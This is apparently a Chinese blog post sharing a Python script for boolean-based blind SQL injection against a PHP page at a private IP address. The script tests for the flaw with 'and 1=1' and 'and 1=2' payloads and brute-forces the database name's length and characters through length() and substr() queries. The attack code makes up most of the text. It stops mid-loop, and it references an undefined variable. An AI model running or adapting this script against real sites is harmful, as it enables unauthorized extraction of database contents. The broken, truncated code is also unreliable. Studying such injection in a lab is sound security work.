布尔盲注需简化代码

import requests,time,string
# 判断注入点
paylode1="?id=1 and 1=2"
paylode2="?id=1 and 1=1"
url="http://192.168.28.133/boke/aupdata.php"

#获取正确值
res1=requests.get(f'{url}{paylode2}')
response1 = res1.text
# print(response1)
if len(response)==len(response1):
    print('不存在布尔漏洞')
else:
    print('存在布尔注入漏洞,判断数据库长度')
    a1=0
    for a in range(6):
        res2 = requests.get(f'{url}?id=1 and length(database())={a}-- -')
        response3 = res2.text
        if len(response3)==len(response1):
            a1=a
            print(f"数据库长度为{a},开始爆破库名和表名")
            break
    low = string.ascii_lowercase
    res4=''
    for a2 in range(a1+1):
        for a3 in low:
            res3 = requests.get(f"{url}?id=1 and (substr(database(),{a2},1))='{a3}' -- -")
            response4=res3.text
            i
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值